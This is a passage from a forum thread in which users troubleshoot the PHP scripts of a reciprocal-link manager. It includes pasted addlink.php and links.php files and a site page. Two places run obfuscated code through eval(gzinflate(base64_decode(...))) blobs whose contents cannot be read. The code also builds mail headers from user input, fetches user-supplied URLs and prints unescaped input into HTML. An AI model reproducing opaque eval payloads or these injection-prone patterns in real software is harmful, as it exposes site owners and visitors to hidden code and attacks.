    1DlMrG4xl6uiZZE0IUpaa36LQE/oqlDXTTT8lWDg83DQjBly7HlWBLLTaeCaSxIJz5XZyzR5f0XXPHwe
    10CjeAZ+FWdXIoGecy3HicpDevILWvBpA/hoddyykv/QEG2imOT+4mOFijN6L2vNdBYWc/ANGPBlSD5c
    8smgNIzh+fQ661a7yo3qpmHSpdaMXi+pWElahAB34NxAytdjuHGBqZB7Mnu2rYp3EtDhqC79pmlOaMkO
    2aFYgIM0McX3BBmJlbk10O5wElGjPdPG3OhA8h1t3f+nHQ+zUq/54k/MjjXqcg3JxE+ouOox4CLD76vB
    qNHaT913WV0VCW29D9cY0+eeU32XK/XpXQrJX/iLb1KuxHvUJ/St0D/rCAriVyZs9c+UJP7E3ZYuSNPs
    9wCfeqdtChVnrOgVMvadUx4bDwXHZ3TNsZf542n+DqPV1HVOJvGyjWjUEiy+gQ/cHpz0zTn8FhrqDnVD
    fmxOIQNMlm99DEiu7mhwUwCTEr732BP6TJu6X44X6o4S3wAjC6uOkKBSXJV8I4doWcYDEuXZ9I33oKWF
    MBnbXJ7/tqxz6DJfOUYBisAUULLYaoTjFHN+nokm/0uwFXi+9d9tIpGP0TbFzNuEuPnCUvuUjNxrOjf7
    TkUBPzT8aRLwWybxIFPHKGT+LHDRygc438Fgjepop/UDYZwDeKlFl51UgxIHPVvAZLLz5N4eGfBlE3ta
    aIE/whQN9lk4IYpdp+S0X18Of09XPpHq65dUwpcER0b7st961cpFsbaBvhg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
    NzJ06UjalU1lBF22xH8IR91DWYitnWJ9w6tAAvo1yjVHMyO9OMZ30IBuQnrbaHbLH5wU0+mYYqF+o1x4
    TRMUbQDJm1P7zxv/aVylpUdiR9MaWoUrWCh2HmUxAROL3JFi/I9j4nOZ1+BQSlCSuIPaj4Wn9zRS+BMr
    KI2l6CeGFVt1N2HkliXvlSSaNWNgflxt+87UFNFOndUqducUmgAqL8L4KjQANmlGslBFV5z+VySn/TlG
    5J/QRJ4S3tNzrA/bmCylPhX+HBTneAq8InUiJGZYN0lpWhsXAgdmSizFiOKHiaJcRc7R4rm7zA23ShAA
    aRdB3DiO7xHV/we+Jzg2FZ3jC2i3bmLjUBYqNju9hLulDVb/jXsqRjHJk+tMnANdr41f5EKIdcZ3Dxsz
    J9InCDNy1ZmrGie22l127Wus5JLp0Jg18teNnXBYIADVLsf/7999///h8=')));
    
    if ($settings['spam_filter'])
    {
        $test = pj_checkTitleDesc($title, $description, $url, $settings['superlatives']);
        if ($test === true)
        {
            $test = '';
        }
        elseif ($test == 'superlatives')
        {
            problem('Don\'t use superlatives (words like best, biggest, cheapest, largest) in title and description!');
        }
        elseif ($test == 'text')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
        elseif ($test == 'url')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
    }
    
    if ($settings['autosubmit'])
    {
    
        session_start();
        if (empty($_SESSION['checked']))
        {
            $_SESSION['checked']  = 'N';
            $_SESSION['secnum']   = rand(10000,99999);
            $_SESSION['checksum'] = $_SESSION['secnum'].$settings['filter_sum'].date('dmy');
        }
        if ($_SESSION['checked'] == 'N')
        {
            print_secimg();
        }
        elseif ($_SESSION['checked'] == $settings['filter_sum'])
        {
            $_SESSION['checked'] = 'N';
            $secnumber = pj_isNumber($_POST['secnumber']);
            if(empty($secnumber))
            {
                print_secimg(1);
    	    $numerr++;
            }
            elseif (!check_secnum($secnumber,$_SESSION['checksum']))
            {
                print_secimg(2);
    	    $numerr++;
            }
        }
        else
        {
            problem('Internal script error. Wrong session parameters!');
    	return;
        }
    }
    if($numerr) return;
    /* Check for duplicate links */
    if ($settings['block_duplicates'])
    {
        $mydata = file_get_contents($settings['linkfile']);
    
        /* Check website URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit the same website more than once or we will be forced to delete all your links!');
    	return;
        }
    
        /* Check reciprocal link URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit multiple websites with the same reciprocal link URL or we will be forced to delete all your links!');
    	return;
        }
    
        unset($mydata);
    }
    
    /* Get HTML code of the reciprocal link URL */
    $html = @file_get_contents($recurl) or problem('Can\'t open remote URL!');
    $html = strtolower($html);
    $site_url = strtolower($settings['site_url']);
    
    /* Block links with the meta "robots" noindex or nofollow tags? */
    if ($settings['block_meta_rob']==1 && preg_match('/<meta([^>]+)(noindex|nofollow)(.*)>/siU',$html,$meta))
    {
        problem(
            'Please don\'t place the reciprocal link to a page with the meta robots noindex or nofollow tag:<br />'.
            htmlspecialchars($meta[0])
        );
        return;
    }
    
    $found    = 0;
    $nofollow = 0;
    
    if (preg_match_all('/<a\s[^>]*href=([\"\']??)([^" >]*?)\\1([^>]*)>/siU', $html, $matches, PREG_SET_ORDER)) {
        foreach($matches as $match)
        {
            if ($match[2] == $settings['site_url'] || $match[2] == $settings['site_url'].'/')
            {
                $found = 1;
                if (strstr($match[3],'nofollow'))
                {
                    $nofollow = 1;
                }
                break;
            }
        }
    }
    
    if ($found == 0)
    {
        problem(
            'Our URL (<a href="'.$settings['site_url'].'">'.$settings['site_url'].
            '</a>) wasn\'t found on your reciprocal links page (<a href="'.$recurl.'">'.
            $recurl.'</a>)!<br><br>Please make sure you place this exact URL on your
            links page before submitting your link!'
        );
        return;
    }
    
    /* Block links with rel="nofollow" attribute? */
    if ($settings['block_nofollow'] && $nofollow == 1)
    {
        problem('Please don\'t use rel=&quot;nofollow&quot; link attribute for the reciprocal link!');
        return;
    }
    
    /* Check Google PageRank */
    if ($settings['show_pr'] || $settings['min_pr'] || $settings['min_pr_rec'])
    {
        require('pagerank.php');
        $pr = getpr($url);
        $pr = empty($pr) ? 0 : $pr;
    
        if ($settings['min_pr'] && ($pr < $settings['min_pr']))
        {
            problem('Unfortunately we accept only websites with Google PageRank '.$settings['min_pr'].'/10 or higher. Please try submitting your website again in a few months.');
    	return;
        }
    
        if ($settings['min_pr_rec'])
        {
            $pr_rec = getpr($recurl);
            $pr_rec = empty($pr_rec) ? 0 : $pr_rec;
            if ($pr_rec < $settings['min_pr_rec'])
            {
                problem('Please place the reciprocal link to <a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a> on a page with Google PageRank '.$settings['min_pr_rec'].'/10 or higher.');
    	    return;
            }
        }
    }
    
    $replacement = "$name$settings[delimiter]$email$settings[delimiter]$title$settings[delimiter]$url$settings[delimiter]$recurl$settings[delimiter]$description$settings[delimiter]0$settings[delimiter]$pr\n";
    
    /* Approve manually */
    if ($settings['man_approval'])
    {
    	$tmp = str_replace('www.','',strtolower($parsed_url['host']));
        $tmp = md5($tmp.$settings['filter_sum']);
        $tmp_file = 'apptmp/'.$tmp.'.txt';
    
        if (file_exists($tmp_file))
        {
        	problem('This link is already pending approval!');
    	return;
        }
    
    	$fp = fopen($tmp_file,'w') or problem('Couldn\'t open temporary file for writing! Please CHMOD the apptmp folder to 777 (rwxrwxrwx)!');
    	flock($fp, LOCK_EX);
    	fputs($fp,$replacement);
    	flock($fp, LOCK_UN);
    	fclose($fp);
    
    $message = "Hello,
    
    A new link is awaiting approval for your links page at $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    To APPROVE the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=1
    
    To REJECT the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=0
    
    
    End of message
    
    ";
    	$headers  = "From: $name <$email>\n";
    	$headers .= "Reply-To: $name <$email>\n";
    	mail($settings['admin_email'],'New link waiting approval',$message,$headers);
    
    	echo '
    <p align="center"><b>Your link submitted for approval!</b></p>
    <p>&nbsp;</p>
    <p align="center">Thank you, your link has been submitted for approval and will appear on the links page once approved by the administrator!</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p align="center"><a href="'.$settings['site_url'].'">Back to the main page</a></p>
    ';
    	return;
    
    }
    /* Approve automatically */
    else
    {
    	if ($settings['add_to'] == 0)
    	{
    	    /* Make sure new link is added after any featured ones */
    		$i = 0;
            $was_added = 0;
    		foreach ($lines as $thisline)
    		{
    			list($name2,$email2,$title2,$url2,$recurl2,$description2,$featured2,$pr2)=explode($settings['delimiter'],$thisline);
    			$featured2 = $featured2 ? 1 : 0;
    			if ($featured2 == 0)
    			{
    				$lines[$i] = $replacement . $thisline;
    				$was_added = 1;
    				break;
    			}
    			$i++;
    		}
    
            if ($was_added)
            {
    			$replacement = implode('',$lines);
    		    $fp = fopen($settings['linkfile'],'w') or problem('Couldn\'t open links file for writing! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
            }
    		else
    		{
    		    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
    		}
    	}
    	else
    	{
    	    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    	    flock($fp, LOCK_EX);
    	    fputs($fp,$replacement);
    	    flock($fp, LOCK_UN);
    	    fclose($fp);
    	}
    
    	if($settings['notify'] == 1)
    	{
    $message = "Hello,
    
    Someone just added a new link to your links page on $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    
    End of message
    
    ";
    	    $headers  = "From: $name <$email>\n";
    	    $headers .= "Reply-To: $name <$email>\n";
    	    mail($settings['admin_email'],'New link submitted',$message,$headers);
    	}
    
    	echo '
    <p align="center"><b>Your link has been added!</b></p>
    <p>&nbsp;</p>
    <p align="center">Thank you, your link has been successfully added to our link exchange (try reloading our links page if you don\'t see your link there yet)!</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p align="center"><a href="'.$settings['site_url'].'">Back to the main page</a></p>
    ';
    	return;
    }
    
    
    /*** FUNCTION ***/
    
    function problem($problem) {
    	global $numerr;
    	if(!$numerr) echo '<p align="center"><font color="#FF0000"><b>ERROR</b></font></p>';
    $numerr++;
    echo '
        <p>&nbsp;</p>
        <p align="center">'.$problem.'</p>
        <p>&nbsp;</p>
    ';
    
    }
    
    function print_secimg($message=0) {
    global $settings;
    $_SESSION['checked']=$settings['filter_sum'];
    echo '
    <p>&nbsp;</p>
    <p align="center"><b>Anti-SPAM check</b></p>
    <div align="center"><center>
    <table border="0">
    <tr>
    <td>
        <form action="index.php?'.strip_tags(SID).'" method="POST" name="form">
        <hr>
    ';
        if ($message == 1)
        {
            echo '<p align="center"><font color="#FF0000"><b>Please type in the security number</b></font></p>';
        }
        elseif ($message == 2)
        {
            echo '<p align="center"><font color="#FF0000"><b>Wrong security number. Please try again</b></font></p>';
        }
        echo '
    <p>This is a security check that prevents automated signups of this forum (SPAM).
    Please enter the security number displayed below into the input field and click the continue button.</p>
    <p>&nbsp;</p>
    <p>Security number: <b>'.$_SESSION['secnum'].'</b><br>
    Please type in the security number displayed above:
    <input type="text" size="7" name="secnumber" maxlength="5"></p>
    <p>&nbsp;
    ';
        foreach ($_POST as $k=>$v)
        {
            if ($k == 'secnumber')
            {
                continue;
            }
            echo '<input type="hidden" name="'.htmlspecialchars($k).'" value="'.htmlspecialchars(stripslashes($v)).'">';
        }
        echo '
    </p>
    <p align="center"><input type="submit" value=" Continue "></p>
    <hr>
    </form>
    </td>
    </tr>
    </table>
    </center></div>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    ';
    
    }
    
    function check_secnum($secnumber,$checksum) {
        global $settings;
        $secnumber .= $settings['filter_sum'].date('dmy');
        if ($secnumber == $checksum)
        {
            unset($_SESSION['checked']);
            return true;
        }
        else
        {
            return false;
        }
    }
    ?>
    Note that you have to change index.php to the name of your program in both links.php (line 238) and addlink.php (line 517). For example, if your main program is home.php then change index to home in those two programs.

    somethings messed up cuz now the addlink button aint working at all
    Make those changes I noted above and see if it works.

  12. #12
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    i been tweaking it from what you gave me. I think i changed index.php or something to addlink.php so the add link button would work...

    Anyway check out http://ukratom.com/links/linktest.php it validates and the addlink button works when you click over to add link. The addlink.php page validates. The onyl problem i have is if an error gos past the captcha like for instance the exact url aint found on the reciprocal page, that instance will pass the captcha page then show error and it has the <return to previous screen> set at javascript:historgo(-1) or something like that. I try ed setting it to

    Code:
    /*** FUNCTION ***/
    
    function problem($problem) {
    require_once('header.txt');
    echo '
        <p align="center"><font color="#FF0000"><b>ERROR</b></font></p>
        <p>&nbsp;</p>
        <p align="center">'.$problem.'</p>
        <p>&nbsp;</p>
        <p align="center"><a href="addlink.php?link=add">Back to the previous page</a></p>
    The way i have it at <a href="addlink.php?link=add"> doesn't work but i need to change that some how

    But like that for some reason it just brings up another error page instead of going all the way back to were you can edit the info.

    And as it is originally it gos back to captcha page which doesn't help at all

    You can test this by adding anything in all fields add your email address then in reciprocal and url field put ukratom.com

  13. #13
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Either use the codes I listed or list your and I have a look. This way we will see the same thing. I will check out your reply tomorrow. Late at night here.

  14. #14
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Linktest.php
    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
      <meta name="generator"
     content="HTML Tidy for Linux (vers 6 November 2007), see www.w3.org">
      <title>Kratom | Kratom Leaf |</title>
      <meta name="description"
     content="uKratom offers information on kratom, kratom powder, kratom leaf, kratom extracts, effects of kratom, where to buy kratom and more.">
      <meta name="abstract"
     content="Get information about kratom, kratom extracts, kratom effects, kratom dosage and more. Learn all you can about the wounderful kratom plant.">
      <meta name="ROBOTS" content="ALL=INDEX,FOLLOW">
      <meta http-equiv="content-type" content="text/html; charset=utf-8">
      <link rel="stylesheet" type="text/css"
     href="http://ukratom.com/styles.css">
      <script type="text/javascript">
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-30392963-1']);
    _gaq.push(['_trackPageview']);
    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
    })();
      </script>
      <style type="text/css">
    p.c3 {text-align: center;}
    img.c2 {border: 0px solid ; width: 200px; height: 106px;}
    img.c1 {border: 0px solid ; width: 450px; height: 89px;}
      </style>
      <style type="text/css">
    img.c2 {vertical-align: middle;}
    img.c1 {vertical-align: middle;border:1x}
      </style>
    </head>
    <body>
    <div id="container">
    <div id="header">
    <h1><a href="http://ukratom.com" title="kratom home"><img class="c1"
     src="http://ukratom.com/images/kraton_logo.jpg" alt="Kratom"></a><a
     href="http://www.bouncingbearbotanicals.com/ethnobotanicals-kratom-c-60_91.html?ref=4331"
     target="_blank"><img class="c2" alt="buy kratom, kratom buy"
     src="http://ukratom.com/images/Kratom_leaf.jpg"></a></h1>
    </div>
    <div id="wrapper">
    <div id="content"><?php include("links.php");?></div>
    </div>
    <div id="navigation">
    <ul>
      <li><a href="kratom_images.html" title="kratom images">Kratom
    Images</a></li>
      <li><a href="kratom_dosage.html" title="kratom dosage">Kratom
    Dosage</a></li>
      <li><a href="kratom_effects.html" title="kratom effects">Kratom
    Effects</a></li>
      <li><a href="kratom_extracts.html" title="kratom extract">Kratom
    Extracts</a></li>
      <li><a href="kratom_resin.html" title="kratom resin">Kratom
    Resin</a></li>
      <li><a href="kratom_crushed.html" title="crushed kratom leaf">Crushed
    Kratom Leaf</a></li>
      <li><a href="kratom_powder.html" title="kratom powder">Kratom
    Powder</a></li>
    </ul>
    </div>
    <div id="extra">
    <p class="c3"><a href="http://ukratom.com/" title="kratom home">Kratom
    Home</a> | <a href="sitemap.html" title="kratom sitemap">Site
    Map</a></p>
    </div>
    <div id="footer">
    <p class="white">&copy;uKRATOM.COM</p>
    </div>
    </div>
    </body>
    </html>
    links.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    
    if(!$_REQUEST['link'])
    {
    
    	echo '<p><a href="?link=add">Submit Your Website</a></p>';
    
    }
    
    $lines = file($settings['linkfile']);
    
    /* Handle pages */
    if ($settings['allow_pages'])
    {
    	/* Page number, default 1st page */
    	$page=intval($_REQUEST['page']);
    	if ($page > 0)
    	{
    	    $start=($page*$settings['max_per_page'])-$settings['max_per_page'];$end=$start+$settings['max_per_page']-1;
    	}
    	else
    	{
    	    $page=1;$start=0;$end=$settings['max_per_page']-1;
    	}
    
        /* Total number of links */
    	$total = count($lines);
    
    	if ($total > 0)
    	{
    		if ($end > $total) {$end=$total;}
    		$pages = ceil($total/$settings['max_per_page']);
                   
    		$page_nav = '';
    
    		if ($pages > 1)
    		{
    			$page_nav = '<p>';
    
    			$prev_page = ($page-1 <= 0) ? 0 : $page-1;
    			$next_page = ($page+1 > $pages) ? 0 : $page+1;
    
    			if ($prev_page)
    			{
    				$page_nav .= '<a href="links.php?page=1">&lt;&lt; First</a> &nbsp;|&nbsp; ';
    				if ($prev_page > 1)
    				{
    					$page_nav .= '<a href="links.php?page='.$prev_page.'">&lt; Prev</a> &nbsp;|&nbsp;';
    				}
    			}
    
    			for ($i=1; $i<=$pages; $i++)
    			{
    				if ($i <= ($page+5) && $i >= ($page-5))
    				{
    					if($i == $page) {$page_nav .= ' <b>'.$i.'</b> ';}
    				else {$page_nav .= ' <a href="links.php?page='.$i.'">'.$i.'</a> ';}
    				}
    			}
    
    			if ($next_page)
    			{
    				if ($next_page < $pages)
    				{
    					$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$next_page.'">Next &gt;</a>';
    				}
    				$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$pages.'">Last &gt;&gt;</a>';
    			}
    
    			$page_nav .= '</p>';
    
    			echo $page_nav;
    		}
    	}
    	$lines = array_slice($lines,$start,$settings['max_per_page']);
    }
    
    $print_featured = 0;
    $first = 1;
    $i = 0;
    
    foreach ($lines as $thisline)
    {
    	$thisline=trim($thisline);
    	if (!empty($thisline))
    	{
    		$i++;
    		list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);
    
    		$show_url = $settings['show_url'] ? '&nbsp;<span class="linkmanURL">-&nbsp;'.$url.'</span>' : '';
    
    		if ($settings['show_pr'] == 1)
    		{
    			if (empty($pr)) {$pr=0;}
    			$pr_code = '
    <td valign="top" class="linkman" title="Google PageRank: '.$pr.'/10">
    <img src="img/pr'.$pr.'.gif" width="40" height="5" alt="Google PageRank: '.$pr.'/10" style="vertical-align: middle;">&nbsp;</td>
    ';
    		}
    		else
    		{
    			$pr_code = '';
    		}
    		if ($settings['show_thumbshots'])
    		{
    		    $thumb_code = '<td valign="top" class="linkman">
    <img src="'.$settings['thumb_url'].rawurlencode($url).'" style="vertical-align: middle;border:1x" width="120" height="90" alt="Thumbnail">&nbsp;
    </td>
    ';
    		}
    		else
    		{
    			$thumb_code = '';
    		}
    
    		if ($featured == 1)
    		{
    			if ($print_featured == 0)
    			{
    				$print_featured = 1;
    				$first = 0;
    				echo '<p class="linkman"><b>Featured links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] != 1) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = ($settings['use_nofollow']==1) ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'
    			.$url.'" class="linkman" '.$nofollow.'><b>'.$title.'</b></a>'.$show_url.'<br>'.$description.
    			'<br>&nbsp;</p></td></tr>';
    		}
    		else
    		{
    			if ($settings['show_thumbshots']!=1)
    			{
    				$thumb_code = '';
    			}
    			if ($print_featured == 1)
    			{
    				$print_featured = 0;
    				$first = 1;
    				echo '</table>';
    			}
    			if ($first == 1)
    			{
    				$first = 0;
    				echo '<p class="linkman"><b>Reciprocal links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'.
    			$url.'" class="linkman" '.$nofollow.'>'.$title.'</a>'.$show_url.'<br>'.$description.
    			'</p></td></tr>';
    		}
    	}
    }
    
    /* Close the table if at least one link is printed out */
    if ($i)
    {
    	echo '</table>';
    
    	/* Print bottom page navigation if at least 20 listings on the page */
    	if ($settings['allow_pages'] && $i > 19)
    	{
    		echo $page_nav;
    	}
    }
    else
    {
    	echo '<p class="linkman">No links yet!</p>';
    }
    if(!$_REQUEST['link']) return;
    
    if ($i < $settings['max_links'])
    {
    	echo '
    <p class="linkman"><a name="addlink"></a>&nbsp;<br><b>Submit your website</b></p>
    <p><b>&raquo; Step 1: Add our link to your website</b></p>
    <table border="0">
    <tr>
    <td>Website URL:</td>
    <td><a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a></td>
    </tr>
    <tr>
    <td>Website Title:</td>
    <td>'.htmlspecialchars($settings['site_title']).'</td>
    </tr>
    <tr>
    <td>Description:</td>
    <td>'.htmlspecialchars($settings['site_desc']).'</td>
    </tr>
    </table>
    
    <p><textarea rows="4" cols="60" onfocus="this.select()">&lt;a href=&quot;'.
    $settings['site_url'].' &quot;&gt;'.htmlspecialchars($settings['site_title']).'&lt;/a&gt; - '.
    htmlspecialchars($settings['site_desc']).'</textarea></p>
    <p><b>&raquo; Step 2: Submit your link</b></p>
    <p>All fields are required. Please finish <b>Step 1</b> before submitting this form
    ';
    
    	if ($settings['man_approval'])
    	{
    		echo ' New links will be approved manually.';
    	}
    	echo '
    <form method="post" action="addlink.php">
    <table border="0">
    <tr>
    <td><b>Your name:</b></td>
    <td>
    <input type="hidden" name="addlink" value="1">
    <input type="text" name="name" size="40" maxlength="50">
    </td>
    </tr>
    <tr>
    <td><b>E-mail:</b></td>
    <td><input type="text" name="email" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website title:</b></td>
    <td><input type="text" name="title" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website URL:</b></td>
    <td><input type="text" name="url" maxlength="255" value="http://" size="40"></td>
    </tr>
    <tr>
    <td><b>URL with reciprocal link:</b></td>
    <td><input type="text" name="recurl" maxlength="255" value="http://" size="40"></td>
    </tr>
    </table>
    <p><b>Website description:</b><br>
    <input type="text" name="description" maxlength="200" size="60"></p>
    <p><input type="submit" value="Add link"></p>
    </form>
    ';
    
    } // End if $settings['max_links'] < $i
        else
        {
    	    echo '
    <p class="linkman">&nbsp;<br /><b>Submit your website</b></p>
    <p><i>Unfortunately we are not accepting any new links at the moment.</i></p>
    ';
        }
     // End if $settings['show_form']
    
    ?>
    addlink.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    ini_set('user_agent', 'LinkMan '.$settings['verzija'].' by http://www.phpjunkyard.com');
    
    /* Accepting any more links? */
    $lines = @file($settings['linkfile']);
    if (count($lines)>$settings['max_links'])
    {
        problem('We are not accepting any more links at the moment. We appologize for the inconvenience!');
    }
    
    /* Check user input */
    $name  = pj_input($_POST['name'],'Please enter your name!');
    $email = pj_input($_POST['email'],'Please enter your e-mail address!');
    if (!preg_match('/([\w\-]+\@[\w\-]+\.[\w\-]+)/',$email))
    {
        problem('Please enter a valid e-mail address!');
    }
    $title = pj_input($_POST['title'],'Please enter the title (name) of your website!');
    if (strlen($title)>50)
    {
        problem('Title is too long! Limit website title to 50 chars!');
    }
    
    $url   = pj_input($_POST['url'],'Please enter the URL of your website!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$url)))
    {
        problem('Please enter valid URL of your website!');
    }
    
    $recurl = pj_input($_POST['recurl'],'Please enter the url where a reciprocal link to our site is placed!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$recurl)))
    {
        problem('Please enter valid URL of the page where the reciprocal link to our site is placed!');
    }
    
    /* Compare URL and Reciprocal page URL */
    $parsed_url = parse_url($url);
    $parsed_rec = parse_url($recurl);
    if ($parsed_url['host'] != $parsed_rec['host'])
    {
        problem('The reciprocal link must be placed under the same (sub)domain as your link is!');
    }
    
    $url    = str_replace('&amp;','&',$url);
    $recurl = str_replace('&amp;','&',$recurl);
    
    $description = pj_input($_POST['description'],'Please write a short description of your website!');
    if (strlen($description)>200)
    {
        problem('Description is too long! Description of your website is limited to 200 chars!');
    }
    
    /* Check if the website is banned */
    if ($mydata = file_get_contents($settings['banfile']))
    {
    	/* Check website URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    	}
    
    	/* Check reciprocal link URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    	}
    
    	unset($mydata);
    }
    
    /* Check title and description for possible spam problems */
    eval(gzinflate(base64_decode('DVe1ssXIFfwc75YCMZUjMTPfxCVmZn29Xz5Q09N0yisd/qm/dq
    qG9Cj/ydK9JLD/FWU+F+U//xF/Obzvobb3kQwBgMjzohgh6jhcJv8xjwydHZhlpeEN788idlIC6eUaif
    MB3h3cx29+tRt8zy1px60C8W9Zr5J5sFa0YxPWQc9qOqu2tTZPHnZx7tyHR+BUED+BSUFME86GyBVWrV
    /b7+QrstzCGV7uXnDEdik4N2yUkzdVOTfp56ltF40JEAVbVGkrjJvbAvlqQrodQ4UaCMzJQ9l6LVilNX
    MtNeW+G7DBjDhi58Ms8Vy46zti+Uc1zM5n4WjllE9jl8m3n1NLMTe7tsdHjO8YUTmigQR75beqiHt6S+
    ZKCoybiRxpCRzLUwC7C/Go+HBEBvzV36xqW/Fq/+1zfmy9WR65t+nGsfkJHKW1RX3TAOKYWi548jd6WS
